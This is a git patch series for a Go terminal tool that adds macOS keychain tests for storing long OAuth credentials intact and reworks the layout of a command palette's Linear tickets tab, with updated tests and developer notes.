a/internal/linear/store_pty_test.go b/internal/linear/store_pty_test.go index 803aed18..e0833d22 100644 --- a/internal/linear/store_pty_test.go +++ b/internal/linear/store_pty_test.go @@ -1,6 +1,7 @@ package linear import ( + "bytes" "fmt" "os" "os/exec" @@ -95,3 +96,69 @@ func runKeychainTTYChild(t *testing.T) { } fmt.Println("KEYCHAIN_TTY_OK") } + +// TestKeychainStoresRecordsPastThePasswordBufferLimit is the guard for a bug +// that silently ate the credential of every OAuth user on every launch. +// +// `security add-generic-password -w` reads its value with readpassphrase(3), +// whose buffer is _PASSWORD_LEN = 128 bytes. Past that it does not fail, warn or +// return non-zero: it stores the first 128 bytes and exits 0. The record then +// reads back as a JSON prefix that cannot parse, loadStored reports "no +// credential", and the user reconnects on every launch with nothing anywhere +// saying why. +// +// The split is what made it survive review: an API-key record is ~85 bytes and +// fits, so the paste path worked perfectly while the browser path — access token +// plus refresh token plus expiry plus workspace — lost everything, every time. +// A round-trip test with a short value passes either way, which is exactly what +// the original one did. +// +// 129 is the first byte over the cliff; the larger sizes cover multi-chunk +// records, where an aliasing bug in the writer corrupted the first byte of every +// chunk after the first while each write still reported success. +func TestKeychainStoresRecordsPastThePasswordBufferLimit(t *testing.T) { + if !useKeychain() { + t.Skip("no macOS keychain here") + } + const svc = "fleet-linear-sizetest" + t.Cleanup(func() { clearKeychainChunks(svc) }) + + for _, n := range []int{1, 64, 128, 129, 200, 512, 1024} { + payload := []byte(strings.Repeat("x", n)) + if err := writeSecretTo(svc, payload); err != nil { + t.Fatalf("len=%d: write failed: %v", n, err) + } + got, ok := readSecretFrom(svc) + if !ok { + t.Errorf("len=%d: record did not read back", n) + continue + } + if !bytes.Equal(got, payload) { + t.Errorf("len=%d: record came back changed — got %d bytes, want %d", n, len(got), n) + } + } +} + +// TestKeychainShrinkingARecordLeavesNoTail covers the other half of chunking: a +// long record replaced by a short one must not leave old chunks behind for the +// reader to reassemble into something that never existed. +func TestKeychainShrinkingARecordLeavesNoTail(t *testing.T) { + if !useKeychain() { + t.Skip("no macOS keychain here") + } + const svc = "fleet-linear-shrinktest" + t.Cleanup(func() { clearKeychainChunks(svc) }) + + long := []byte(strings.Repeat("y", 600)) + if err := writeSecretTo(svc, long); err != nil { + t.Fatalf("write long: %v", err) + } + short := []byte("z") + if err := writeSecretTo(svc, short); err != nil { + t.Fatalf("write short: %v", err) + } + got, ok := readSecretFrom(svc) + if !ok || !bytes.Equal(got, short) { + t.Errorf("a shrunk record must read back as itself, got ok=%v len=%d", ok, len(got)) + } +} From a1c7cc3e1896b2b5739798138042acbabec2589d Mon Sep 17 00:00:00 2001 From: Yuval Hayke <yuval@brizz.ai> Date: Wed, 19 Aug 2026 15:17:48 +0300 Subject: [PATCH 23/23] fix(ui): spell out what a ticket's worktree is doing, and close the dead gap MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two complaints from the tickets tab, with one root cause between them: the badge column. It is 4 wide because the mixed tab puts "cmd "/"repo"/"wkt " in it. In the tickets tab every row is a ticket, so it only ever held a one-character dot — four dead columns of indent between the cursor marker and the priority gauge, which is the "weird spacing" left of the priority. That dot was also the entire answer to "is this already in fleet". It carried two facts at once — is it here, and what is the session doing — in one glyph, on the far left, with no legend and nothing beside it to give it meaning. It read as decoration. The column is gone in this tab, and the answer moved to the right column, which was empty there: `● running`, `◐ waiting`, `· suspended`, blank when there is no worktree. That costs the titles nothing and needs no legend. This reverses an earlier rule that the status is carried by the dot and never repeated as a word. That was right while the two sat in different columns saying the same thing; it is wrong once the dot is alone with nothing to anchor it. Two things found while building it: - Filtering drops the group headers and folds the state back onto the row, and the first version of this overwrote that — a searched ticket lost the one fact the header had been carrying. The state now leads the right column while filtering, and the join follows it. - It folded the state back via ticketRightColumn, which also appends the priority mark. Correct in the mixed tab, where there is no lead column, and wrong here: the gauge would render twice on one row, two columns apart. Now it uses it.Group. Right-column content is composed in parts rather than styled as one string, and never takes the fuzzy highlight — the matched indexes belong to the Haystack, and painting them onto fleet's own annotation lights up the wrong runes. StatusWord is split out of StatusLabel so the column budget measures the same wording the renderer draws, instead of measuring escape codes. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 113 +++++++++++++++++++++++----- internal/ui/palette_tickets_test.go | 93 +++++++++++++++++++++++ internal/ui/styles.go | 26 ++++--- 4 files changed, 203 insertions(+), 31 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 7255ae7f..f7eca295 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -163,7 +163,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `<team>-<number>` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown**, as a three-cell gauge in a lead column — `▰▰▰` urgent, `▰▰▱` high, `▰▱▱` medium, `▱▱▱` low, and **blank** for no priority, since "low" is a choice someone made and "none" is the absence of one. A gauge rather than a label (`P1`/`!!`) because the list is *sorted* on this key and a sort key you have to read row by row gives you nothing across fifty rows — `▰▰▱` ranks below `▰▰▰` at a glance, `P2` only does once you've read both; it is also the shape Linear's own UI uses. `U+25B0/25B1` are Geometric Shapes (the status dots' block) and **East-Asian-Neutral**, so they are always one column — the obvious alternatives `■ □ · •` are *Ambiguous* width, which some terminals render double and which would shear the column out of alignment; Menlo covers both. `paletteLeadWidth` is **4, not 3**: the gauge fills every cell it is given, so a three-wide column rendered `▰▰▰BRZ-1` with no separator — the old two-glyph `!!` got its separator free from the padding. Colour stops after high (red, then orange; the lower two carry rank by shape in the ordinary dim tone): colouring all four tints nearly every row and the top two stop standing out, which is the entire reason the list sorts on this — and yellow, the obvious third step, already means *waiting* in the sidebar. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. **Both of the tickets tab's dedicated columns vanish outside it** (the state's header and the priority's lead), so `ticketRightColumn` puts state and priority back into the right column there — otherwise a ticket in a mixed list shows nothing but its title. State grouping is likewise tickets-tab-only: a `Todo` header sitting above a run of commands would describe rows it has nothing to do with. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + <right column>`: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown**, as a three-cell gauge in a lead column — `▰▰▰` urgent, `▰▰▱` high, `▰▱▱` medium, `▱▱▱` low, and **blank** for no priority, since "low" is a choice someone made and "none" is the absence of one. A gauge rather than a label (`P1`/`!!`) because the list is *sorted* on this key and a sort key you have to read row by row gives you nothing across fifty rows — `▰▰▱` ranks below `▰▰▰` at a glance, `P2` only does once you've read both; it is also the shape Linear's own UI uses. `U+25B0/25B1` are Geometric Shapes (the status dots' block) and **East-Asian-Neutral**, so they are always one column — the obvious alternatives `■ □ · •` are *Ambiguous* width, which some terminals render double and which would shear the column out of alignment; Menlo covers both. `paletteLeadWidth` is **4, not 3**: the gauge fills every cell it is given, so a three-wide column rendered `▰▰▰BRZ-1` with no separator — the old two-glyph `!!` got its separator free from the padding. Colour stops after high (red, then orange; the lower two carry rank by shape in the ordinary dim tone): colouring all four tints nearly every row and the top two stop standing out, which is the entire reason the list sorts on this — and yellow, the obvious third step, already means *waiting* in the sidebar. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. **Both of the tickets tab's dedicated columns vanish outside it** (the state's header and the priority's lead), so `ticketRightColumn` puts state and priority back into the right column there — otherwise a ticket in a mixed list shows nothing but its title. State grouping is likewise tickets-tab-only: a `Todo` header sitting above a run of commands would describe rows it has nothing to do with. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: in the mixed `all` tab it is a plain `tkt` label, and in the tickets tab it is **gone entirely**. It is 4 wide because of `cmd `/`repo`/`wkt `, and there it only ever held a one-character dot — four dead columns of indent between the cursor marker and the priority gauge. The *is this in fleet* answer moved to the **right column**, which was empty in that tab, and is spelled out: `● running`, `◐ waiting`, `· suspended`, blank when there is no worktree (`ticketsTabRight`). This reverses the earlier rule that the status is carried by the dot and never repeated as a word — that was right while the two sat in *different* columns saying the same thing, and wrong once the dot was alone on the far left, carrying two facts (is it here, what is it doing) in one glyph with no legend and nothing beside it to give it meaning. Right-column content is **composed in parts, never styled as one string**, and it never takes the fuzzy highlight: the matched indexes belong to the Haystack, and painting them onto fleet's own annotation lights up the wrong runes. While filtering, the headers are gone so the state folds back onto the row **in front of** the join — using `it.Group`, deliberately not `ticketRightColumn`, which also appends the priority and would render the gauge a second time two columns from the first (`TestFilteredTicketsTabDoesNotDoubleThePriority`). Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + <right column>`: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket <ID>` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 7cb1226b..60b76c54 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -410,12 +410,19 @@ func (d *CommandPaletteDialog) View() string { end = len(d.filtered) } - // Column layout: [prefix 2][badge 4][sep 1][lead L][name N][gap 2][right] - leadCol := 0 + // Column layout: [prefix 2][badge B][lead L][name N][gap 2][right] + // + // The badge is 4 wide because the mixed tab puts "cmd "/"repo"/"wkt " in + // it. In the tickets tab every row is a ticket, so it only ever held a + // one-character dot — four dead columns of indent between the marker and + // the gauge. It is gone there entirely; what it used to say now has room + // to say itself, on the right. + filtering := strings.TrimSpace(d.filterInput.Value()) != "" + leadCol, badgeCol := 0, paletteBadgeWidth+1 if d.activeTab == PaletteTabTickets { - leadCol = paletteLeadWidth + leadCol, badgeCol = paletteLeadWidth, 0 } - reserved := 2 + paletteBadgeWidth + 1 + leadCol + 2 + reserved := 2 + badgeCol + leadCol + 2 // Measure BOTH columns and give the name whatever the right column // genuinely needs left over, rather than capping it at a constant. A @@ -432,6 +439,9 @@ func (d *CommandPaletteDialog) View() string { if it.Shortcut != "" { r += runeLen(it.Shortcut) + 1 } + if d.activeTab == PaletteTabTickets { + r = runeLen(ticketsTabRight(it.PaletteItem, filtering)) + } if r > rightCol { rightCol = r } @@ -497,9 +507,9 @@ func (d *CommandPaletteDialog) View() string { // every row is a ticket, so "tkt" would say nothing and the useful // fact is whether the work exists here yet. In the mixed tab a // blank reads as a missing badge, not as "not in fleet". - badge := renderKindBadge(it.Kind) - if it.Kind == PaletteKindTicket && d.activeTab == PaletteTabTickets { - badge = renderTicketBadge(it.PaletteItem) + badge := "" + if badgeCol > 0 { + badge = renderKindBadge(it.Kind) + " " } // Haystack is `Name + " " + Detail` (for places) or just `Name` (commands). @@ -524,13 +534,22 @@ func (d *CommandPaletteDialog) View() string { right = it.Detail highlightRight = !selected && len(detailIdx) > 0 } + // In the tickets tab the right column is fleet's own annotation, not + // searchable text from the ticket, so it never takes the fuzzy + // highlight — the matched indexes belong to the Haystack, and + // painting them onto a different string lights up the wrong runes. + plainLabel := "" + if d.activeTab == PaletteTabTickets { + plainLabel = ticketsTabRight(it.PaletteItem, filtering) + right, highlightRight = plainLabel, false + } right = truncRunes(right, rightBudget) lead := "" if leadCol > 0 { lead = renderPriorityLead(it.Priority) } - b.WriteString(prefix + badge + " " + lead + name) + b.WriteString(prefix + badge + lead + name) if selected { // Carry the fill across the gap and the right column, padded to // the row, so the selection is one continuous band. @@ -540,7 +559,11 @@ func (d *CommandPaletteDialog) View() string { } b.WriteString(" ") if right != "" { - if highlightRight { + // Styled only when it survived the budget intact; a truncated + // label would not match what renderTicketSessionLabel builds. + if plainLabel != "" && right == plainLabel { + b.WriteString(renderTicketsTabRight(it.PaletteItem, filtering)) + } else if highlightRight { b.WriteString(highlightMatchesDim(right, detailIdx)) } else { b.WriteString(DimStyle.Render(right)) @@ -626,23 +649,73 @@ func renderKindBadge(k PaletteItemKind) string { return lipgloss.NewStyle().Foreground(col).Render(label) } -// renderTicketBadge answers "is this already in fleet?" in the badge column. +// ticketsTabRight is the whole right column in the tickets tab, as plain text. +// +// It carries up to two facts, and which ones depend on whether a query is +// typed. Unfiltered, the state is a group header, so the column holds only the +// fleet join. Filtered, the headers are gone and the state has nowhere else to +// live, so it comes back onto the row in front of the join. +// +// Deliberately it.Group and not ticketRightColumn: that one appends the priority +// too, which is right in the MIXED tab where no lead column exists — and wrong +// here, where the gauge is already rendering it two columns to the left. +func ticketsTabRight(it PaletteItem, filtering bool) string { + label := ticketSessionLabel(it) + if !filtering || it.Group == "" { + return label + } + if label == "" { + return it.Group + } + return it.Group + " " + label +} + +// ticketSessionLabel is the tickets tab's right column: what fleet knows about +// this ticket that Linear does not — that a worktree already exists for it, and +// what the session in it is doing. Empty when there is none. +// +// It used to be a bare coloured dot in the badge column on the far left. That +// carried two facts at once (is it here, and what is it doing) in one glyph with +// no legend and nothing beside it to give it meaning, and it read as decoration. +// Spelling it out reverses an earlier "never repeat the dot as a word" call — +// which was right when the two sat in different columns saying the same thing, +// and is wrong here, where they sit together and form one label. +// +// The right column was empty in this tab, so this costs the titles nothing. // -// A ticket row's most useful fact is not that it is a ticket — the whole tab is -// tickets — but whether work on it already exists here, and what that work is -// doing. So the column carries the sidebar's own status vocabulary, and a -// ticket with no worktree is deliberately BLANK rather than dimly marked: -// absence should read as absence at a glance down the column. -func renderTicketBadge(it PaletteItem) string { +// Plain text, because this is also the string the column budget is measured +// from; renderTicketSessionLabel styles the identical runes. +func ticketSessionLabel(it PaletteItem) string { if !it.HasSession { - return strings.Repeat(" ", paletteBadgeWidth) + return "" + } + glyph, _ := sessionBadgeGlyph(it.SessionStatus) + return glyph + " " + StatusWord(it.SessionStatus) +} + +// renderTicketsTabRight is ticketsTabRight with colour: the state stays dim +// structure, the join takes its status colour. Composed in parts rather than +// styled as one string, so each half keeps its own meaning. +func renderTicketsTabRight(it PaletteItem, filtering bool) string { + label := renderTicketSessionLabel(it) + if !filtering || it.Group == "" { + return label + } + if label == "" { + return DimStyle.Render(it.Group) + } + return DimStyle.Render(it.Group) + " " + label +} + +// renderTicketSessionLabel is ticketSessionLabel with the status colour. +func renderTicketSessionLabel(it PaletteItem) string { + if !it.HasSession { + return "" } glyph, style := sessionBadgeGlyph(it.SessionStatus) - return style.Render(pad(glyph, paletteBadgeWidth)) + return style.Render(glyph) + " " + StatusStyle(it.SessionStatus).Render(StatusWord(it.SessionStatus)) } -// sessionBadgeGlyph maps a session status onto the same dot and colour the -// sidebar uses, so a status means the same thing everywhere in fleet. func sessionBadgeGlyph(st session.Status) (string, lipgloss.Style) { switch st { case session.StatusError: diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index b20653a6..05cfd007 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -459,3 +459,96 @@ func TestMixedTabKeepsRepoAndWorktreeBranches(t *testing.T) { } } } + +// TestTicketsTabSpellsOutTheFleetJoin pins the one thing this view shows that +// Linear cannot: that a worktree already exists for a ticket, and what the +// session in it is doing. +// +// It used to be a bare coloured dot in the far-left badge column — two facts in +// one glyph, with no legend and nothing beside it to give it meaning. The badge +// column is also 4 wide because the MIXED tab puts "cmd "/"repo"/"wkt " in it, +// so in this tab it contributed four dead columns of indent and a one-character +// dot. +func TestTicketsTabSpellsOutTheFleetJoin(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(100, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + items := h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-1", Title: "has a worktree", StateName: "Todo", StateType: "unstarted", Priority: 1}, + {Identifier: "BRZ-2", Title: "not in fleet", StateName: "Todo", StateType: "unstarted", Priority: 1}, + }) + items[0].HasSession, items[0].SessionStatus = true, session.StatusWaiting + h.commandPalette.SetTickets(items) + h.commandPalette.rebuildFiltered() + + got := renderedPalette(t, h) + var withSession, without string + for _, line := range strings.Split(got, "\n") { + switch { + case strings.Contains(line, "BRZ-1 "): + withSession = line + case strings.Contains(line, "BRZ-2 "): + without = line + } + } + if !strings.Contains(withSession, "waiting") { + t.Errorf("a ticket with a worktree must say what its session is doing: %q", withSession) + } + if strings.Contains(without, "waiting") || strings.Contains(without, "idle") { + t.Errorf("a ticket with no worktree must say nothing: %q", without) + } + + // The gauge must sit right after the cursor marker — no badge column left. + // Measured in COLUMNS, not bytes: ▰ and ▸ are three bytes each, so a byte + // index here would be nonsense. + plain := strings.TrimLeft(ansi.Strip(withSession), "│ ") + i := strings.Index(plain, "▰") + if i < 0 { + t.Fatalf("expected a gauge on the row: %q", plain) + } + if cols := runeLen(plain[:i]); cols > 2 { + t.Errorf("the gauge starts %d columns in — the badge column is back: %q", cols, plain) + } + j := strings.Index(plain, "BRZ-1") + if j < 0 { + t.Fatalf("expected an identifier on the row: %q", plain) + } + if cols := runeLen(plain[i:j]); cols > 4 { + t.Errorf("%d columns between the gauge and the identifier: %q", cols, plain) + } +} + +// TestFilteredTicketsTabDoesNotDoubleThePriority guards a latent bug the right +// column's rewrite exposed. +// +// While filtering, headers are dropped and the state folds back onto the row. +// It did that through ticketRightColumn, which also appends the priority mark — +// correct in the MIXED tab, where no lead column exists, and wrong in the +// tickets tab, where the gauge is already rendering it two columns to the left. +// The same gauge would appear twice on one row. +func TestFilteredTicketsTabDoesNotDoubleThePriority(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started", Priority: 1}, + })) + h.commandPalette.filterInput.SetValue("storage") + h.commandPalette.rebuildFiltered() + + var row string + for _, line := range strings.Split(renderedPalette(t, h), "\n") { + if strings.Contains(line, "BRZ-2644") { + row = ansi.Strip(line) + } + } + if row == "" { + t.Fatal("expected the filtered ticket to render") + } + if n := strings.Count(row, "▰▰▰"); n != 1 { + t.Errorf("the priority gauge should appear exactly once, found %d: %q", n, row) + } + if !strings.Contains(row, "In Progress") { + t.Errorf("a filtered row must still carry its state: %q", row) + } +} diff --git a/internal/ui/styles.go b/internal/ui/styles.go index 38837595..525fe898 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -530,23 +530,29 @@ func TitleStyleForStatus(status session.Status) lipgloss.Style { } // StatusLabel returns a styled status text. -func StatusLabel(status session.Status) string { +// StatusWord is the plain, unstyled name of a status — the single source for +// the wording, so a caller that needs to MEASURE a label (column budgeting) +// and one that needs to render it cannot drift apart. +func StatusWord(status session.Status) string { switch status { case session.StatusRunning: - return StatusRunningStyle.Render("running") + return "running" case session.StatusWaiting: - return StatusWaitingStyle.Render("waiting") + return "waiting" case session.StatusFinished: - return StatusFinishedStyle.Render("finished") + return "finished" case session.StatusIdle: - return StatusIdleStyle.Render("idle") + return "idle" case session.StatusError: - return StatusErrorStyle.Render("error") + return "error" case session.StatusStarting: - return StatusStartingStyle.Render("starting") + return "starting" case session.StatusSuspended: - return StatusSuspendedStyle.Render("suspended") - default: - return string(status) + return "suspended" } + return string(status) +} + +func StatusLabel(status session.Status) string { + return StatusStyle(status).Render(StatusWord(status)) }